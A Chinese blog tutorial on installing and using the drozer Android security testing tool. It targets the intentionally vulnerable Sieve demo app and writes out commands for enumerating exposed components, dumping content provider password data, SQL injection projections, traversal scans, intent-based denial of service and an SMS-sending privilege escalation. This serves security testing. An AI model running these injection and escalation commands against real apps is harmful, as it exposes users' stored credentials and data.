• drozer的使用介绍


    0x00、 配置adb环境变量

    下载地址:http://pan.baidu.com/s/1o8itZtC 密码:9o6j

    如何配置android的adb环境变量

    http://jingyan.baidu.com/article/17bd8e52f514d985ab2bb800.html

    0x01、drozer安装

    首先下载drozer的安装包

    可以直接到官网下载:https://labs.mwrinfosecurity.com/tools/drozer/     (已挂)

    Github:https://github.com/ym2011/Android-Penetration

    百度云下载链接:http://pan.baidu.com/s/1gfI0hLT 密码:c78h

    其中 setup.exe 为Windows主机的安装文件 agent.apk 为调试用的安卓手机安装文件

    0x02、确认adb可以正确连接Android手机

    如果是使用真机进行测试的话,需要将手机与计算机用数据线进行连接,并且手机需要开启调试模式,并确保计算机可以通过adb与手机进行连接

    判断手机是否正常连接的方法:

    在adb工具目录下执行:adb devices 命令

    并且执行: adb shell 命令,可以shell连接手机

    我使用的是逍遥模拟器,一开始找不到设备

    几经摸索,了解到是adt-bundle-windows-x86_64中的adb.exe与模拟器目录中的adb.exe不匹配,替换成一样的就好了

     

    确认可以adb正确连接手机之后进行下一步的操作

    这里drozer Server默然监听的为31415端口,所以需要在主机上同样与31415端口进行通信

    本地电脑上调用adb执行命令:adb forward tcp:31415 tcp:31415 进行端口转发

    【Error 10054】

    在drozer console connect启动的时候,还遇到了【Error 10054】的错误。

     

    原因是没有模拟器上没有开启软件。。

    【Error 10061】

    原因是没有设置  adb forward tcp:31415 tcp:31415

     

    安装成功界面!

     

    【Could not find java】

    需要检查如下项目
     
    1、JDK是否安装
     
    2、环境变量是否正确配置(命令行下执行:javajavacjava -version 命令是否返回正常数据)
     
    如果以上项目均正常的话可做如下修复:
     

    建立名为 .drozer_config的文件,文件中添加如下内容:

    [executables]
    java=D:Javajdk1.7.0_65injava.exe
    javac=D:Javajdk1.7.0_65injavac.exe

    即java和javac的路径,保存后存放到C:UsersXXX 目录下,其中XXX为当前用户名目录下,之后重新连接成功

    如果在windows下此文件.drozer_config 无法命名,解决办法

    先把文件名改为1.drozer_config,然后使用命令 rename  1.drozer_config  .drozer_config 即可

    0x03、命令简单介绍:

    1、使用帮助信息 

    dz> list 
    # 输入 list 或 ls 命令即可查看drozer所有可用模块。例如后面可以结合run命令使用,run app.package.list 

    dz> help 
    # 查看所有可以使用的命令。 

    help COMMAND

    # 例如 help run,可以查看run 命令的使用说明。

    help MODULE

    # 例如 help tools.file.upload,可以查看tools.file.upload模块的使用说明 。

    run app.package.list --help

    # 可以查看某个模块的具体使用。 

    # 这里的帮助文档非常有用,因为命令和模块那么多,要熟练记住这些,并不容易。我们在做测试时,也无需记住这么多命令,只需善于利用帮助文档信息即可。  

    2、获取信息 

    找到程序安装包

    执行命令:run app.package.list

    即可查看所有安装在手机上应用程序的包名

    获取应用名为sieve的包名

    run app.package.list -f sieve 

    查看程序包信息

    执行命令:run app.package.info -a 包名

    3、查看攻击面

    执行命令: run app.package.attacksurface -a 包名

    查看该APP的可攻击面(即对外开放的组件)

    4、启动app相关组件 

    执行命令: run app.activity.info -a 包名

    查看对外的activity组件信息

    同样的可以通过调用app.service.info 、app.broadcast.info 、app.provider.info 模块来查看其他组件的详细信息

    可通过 app.activity.start 模块来调用activity组件来查看组件信息,并测试组件是否存在拒绝服务等漏洞

    这时我们可以通过run app.activity.start --component 路径包名 路径组件名 启动它

    执行命令(例):

    dz> run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList

    5、Content Provider

    (1)获取Content Provider信息

    run app.provider.info -a com.mwr.example.sieve

    (2)Content Providers(数据泄露)

    先获取所有可以访问的Uri: 

    run scanner.provider.finduris -a com.mwr.example.sieve

    获取各个Uri的数据:

    run app.provider.query
    
    content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

    查询到数据说明存在漏洞

    (3)Content Providers(SQL注入)

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
    
    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

    报错则说明存在SQL注入。

    列出所有表:

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

    获取某个表(如Key)中的数据:

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

    (4)同时检测SQL注入和目录遍历

    run scanner.provider.injection -a com.mwr.example.sieve
    
    run scanner.provider.traversal -a com.mwr.example.sieve

    6、intent组件触发(拒绝服务、权限提升)

    利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。

    1.查看暴露的广播组件信息:

    run app.broadcast.info -a com.package.name  获取broadcast receivers信息
    
    run app.broadcast.send --component 包名 --action android.intent.action.XXX

    2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):

    run app.broadcast.send 通过intent发送broadcast receiver

    (1)   空action

    run app.broadcast.send --component 包名 ReceiverName
    
    run app.broadcast.send --component 包名 ReceiverName

    (2)   空extras

    run app.broadcast.send --action android.intent.action.XXX

    3.尝试权限提升

    权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:

    (1)获取service详情  

    run app.service.info -a com.mwr.example.sieve
    
    不使用drozer启动service
    
    am startservice –n 包名/service名

    (2)权限提升

    run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

    7、文件操作

    列出指定文件路径里全局可写/可读的文件

    run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
    
    run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
    
    run app.broadcast.send --component 包名 --action android.intent.action.XXX

    8、其它模块

    shell.start 在设备上开启一个交互shell
    
    tools.file.upload / tools.file.download 上传/下载文件到设备
    
    tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件



    0x04、参考资料:

    https://www.cnblogs.com/goodhacker/p/3906180.html

    http://blog.csdn.net/rp517045939/article/details/68065140

    drozer工具的安装与使用:之一安装篇@龙刃(JDragons)

    http://www.cnblogs.com/JDragons/p/5596258.html

    http://www.cnblogs.com/JDragons/p/5596400.html

    Android中的组件安全漏洞介绍和检测

    http://blog.csdn.net/nextdoor6/article/details/52211117

    drozer使用手册

    https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf

  • 相关阅读:
    视图中访问 路由参数
    视图中的Layout使用(转)
    js判断浏览器类型以及版本
    再关于IE11
    关于IE11
    js获取当前页面的网址域名地址
    contenteditable 属性
    HTMl5的sessionStorage和localStorage(转)
    c 数组做为形參时 该參数退化为指针
    汉诺塔-递归实现
  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/7243807.html
Copyright © 2020-2023  润新知